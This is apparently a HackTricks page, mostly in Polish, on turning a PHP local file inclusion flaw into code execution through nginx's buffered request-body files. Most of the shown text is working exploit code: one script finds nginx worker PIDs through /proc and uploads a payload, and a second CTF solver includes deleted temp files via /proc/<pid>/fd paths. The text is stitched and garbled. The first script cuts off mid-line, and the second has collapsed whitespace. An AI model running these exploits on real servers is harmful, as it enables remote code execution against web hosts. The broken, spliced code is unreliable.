WhiteIntel to silnik wyszukiwania zasilany dark-webem, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz sprawdzić ich stronę i wypróbować ich silnik za darmo pod adresem:
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (usunięty) ... ``` Uwaga: Nie można bezpośrednio dołączyć `/proc/34/fd/15` w tym przykładzie, ponieważ funkcja `include` PHP rozwiązałaby ścieżkę do `/var/lib/nginx/body/0000001368 (usunięty)`, która nie istnieje w systemie plików. Ta drobna restrykcja może być na szczęście obejrzana przez pewną indykcję, jak: `/proc/self/fd/34/../../../34/fd/15`, co ostatecznie wykona zawartość usuniętego pliku `/var/lib/nginx/body/0000001368`. ## Pełny exploit ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) za pomocą pomocy buforowania ciała klienta nginx # zobacz https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ po szczegóły URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # znajdź procesy robocze nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] znaleziono proces roboczy nginx: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # załaduj duże ciało klienta, aby wymusić nginx na utworzenie /var/lib/nginx/body/$X def uploader(): print('[+] rozpoczynanie przesyłania') while not done: requests.get(URL, data=' //'
defsend_payload_worker(requests_session): whileTrue:send_payload(requests_session)defsend_payload_multiprocess(requests_session): # Użyj wszystkich CPU do wysyłania ładunku jako treści żądania dla Nginx for _ inrange(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()defgenerate_random_path_prefix(nginx_pids): # Ta metoda tworzy ścieżkę z losowej liczby komponentów ścieżki ProcFS. # Wygenerowana ścieżka będzie wyglądać jak /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path ="" component_num = random.randint(0, 10)for _ inrange(component_num): pid = random.choice(nginx_pids)if random.randint(0, 1)==0: path +=f"/proc/{pid}/cwd"else: path +=f"/proc/{pid}/root"return pathdefread_file(requests_session,nginx_pid,fd,nginx_pids): nginx_pid_list =list(nginx_pids)whileTrue: path =generate_random_path_prefix(nginx_pid_list) path +=f"/proc/{nginx_pid}/fd/{fd}"try: d = requests_session.get(SERVER +f"/?action=include&file={path}").text except:continue# Flagi są formatowane jako hxp{} if"hxp"in d:print("Znaleziono flagę! ")print(d)defread_file_worker(requests_session,nginx_pid,nginx_pids): # Skanuj FD Nginx w zakresie 10 - 45 w pętli. # Ponieważ pliki i gniazda ciągle się zamykają - bardzo często zdarza się, że FD treści żądania otwiera się w tym zakresie
for fd inrange(10, 45): thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids)) thread.start()defread_file_multiprocess(requests_session,nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()if__name__=="__main__":print('\[DEBUG] Tworzenie sesji żądań') requests_session =create_requests_session()print('\[DEBUG] Pobieranie pidów Nginx') nginx_pids =get_nginx_pids(requests_session)print(f'\[DEBUG] Pidy Nginx: {nginx_pids}')print('\[DEBUG] Rozpoczynanie wysyłania ładunku')send_payload_multiprocess(requests_session)print('\[DEBUG] Rozpoczynanie czytania fd')read_file_multiprocess(requests_session, nginx_pids)
## Labs
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
<div data-gb-custom-block data-tag="hint" data-style='success'>
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>